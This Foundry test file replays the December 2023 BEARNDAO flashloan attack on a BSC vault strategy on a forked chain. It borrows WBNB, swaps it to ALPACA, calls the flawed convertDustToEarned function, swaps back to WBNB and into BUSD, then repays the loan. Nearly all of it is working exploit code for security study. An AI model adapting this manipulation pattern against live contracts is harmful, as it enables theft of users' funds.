src/test/2023-12/BEARNDAO_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$769K
8// Attacker : https://bscscan.com/address/0xce27b195fa6de27081a86b98b64f77f5fb328dd5
9// Attack Contract : https://bscscan.com/address/0xe1997bc971d5986aa57ee8ffb57eb1deba4fdaaa
10// Victim Contract : https://bscscan.com/address/0x21125d94cfe886e7179c8d2fe8c1ea8d57c73e0e
11// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x51913be3f31d5ddbfc77da789e5f9653ed6b219a52772309802226445a1edd5f
12 
13// @Analysis
14// https://twitter.com/AnciliaInc/status/1732159377749180646
15 
16interface IBvaultsStrategy {
17    function convertDustToEarned() external;
18}
19 
20contract ContractTest is Test {
21    IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
22    IERC20 private constant ALPACA = IERC20(0x8F0528cE5eF7B51152A59745bEfDD91D97091d2F);
23    IERC20 private constant BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
24    Uni_Pair_V2 private constant CAKE_WBNB = Uni_Pair_V2(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);
25    Uni_Router_V2 private constant Router = Uni_Router_V2(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F);
26    IBvaultsStrategy private constant BvaultsStrategy = IBvaultsStrategy(0x21125d94Cfe886e7179c8D2fE8c1EA8D57C73E0e);
27    address private constant exploitContractAddr = 0xe1997bC971D5986AA57Ee8ffB57eb1DeBa4fDAaa;
28    address private constant helperExpContractAddr = 0x1ccC8eE8Ad0f70E0Bb362d56035fF241755192b1;
29 
30    function setUp() public {
31        vm.createSelectFork("bsc", 34_099_688);
32        vm.label(address(WBNB), "WBNB");
33        vm.label(address(ALPACA), "ALPACA");
34        vm.label(address(BUSD), "BUSD");
35        vm.label(address(CAKE_WBNB), "CAKE_WBNB");
36        vm.label(address(Router), "Router");
37        vm.label(address(BvaultsStrategy), "BvaultsStrategy");
38    }
39 
40    function testExploit() public {
41        deal(address(WBNB), address(this), 0);
42        deal(address(BUSD), address(this), 0);
43        emit log_named_decimal_uint(
44            "Exploiter amount of BUSD before attack", BUSD.balanceOf(address(this)), BUSD.decimals()
45        );
46 
47        CAKE_WBNB.swap(0, 10_000 * 1e18, address(this), abi.encode(0));
48 
49        emit log_named_decimal_uint(
50            "Exploiter amount of BUSD after attack", BUSD.balanceOf(address(this)), BUSD.decimals()
51        );
52    }
53 
54    function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
55        WBNB.approve(address(Router), type(uint256).max);
56        ALPACA.approve(address(Router), type(uint256).max);
57        WBNB_ALPACA();
58        // Flawed function
59        BvaultsStrategy.convertDustToEarned();
60        ALPACA_WBNB();
61        WBNB_BUSD();
62        // Here there was a transfer of WBNB amount (for repaying flashloan) from second exploit contract (selfdestructed) to this contract
63        deal(address(WBNB), address(this), WBNB.balanceOf(address(this)) + 10e17);
64 
65        // Flashloan repay
66        uint256 transferAmount = getAmount();
67        WBNB.transfer(address(CAKE_WBNB), transferAmount);
68    }
69 
70    function WBNB_ALPACA() internal {
71        address[] memory path = new address[](2);
72        path[0] = address(WBNB);
73        path[1] = address(ALPACA);
74        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
75            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
76        );
77    }
78 
79    function ALPACA_WBNB() internal {
80        address[] memory path = new address[](2);
81        path[0] = address(ALPACA);
82        path[1] = address(WBNB);
83        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
84            ALPACA.balanceOf(address(this)), 0, path, address(this), block.timestamp
85        );
86    }
87 
88    function WBNB_BUSD() internal {
89        address[] memory path = new address[](2);
90        path[0] = address(WBNB);
91        path[1] = address(BUSD);
92        uint256 amountIn = WBNB.balanceOf(address(this)) - getAmount() + 10e17;
93        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, address(this), block.timestamp);
94    }
95 
96    function getAmount() internal returns (uint256) {
97        // Value taken from original, selfdestructed contract. Used in amount calculation
98        uint256 amount = uint256(vm.load(exploitContractAddr, bytes32(uint256(6))));
99        return ((amount / 9975) * 10_000) + 10_000;
100    }
101}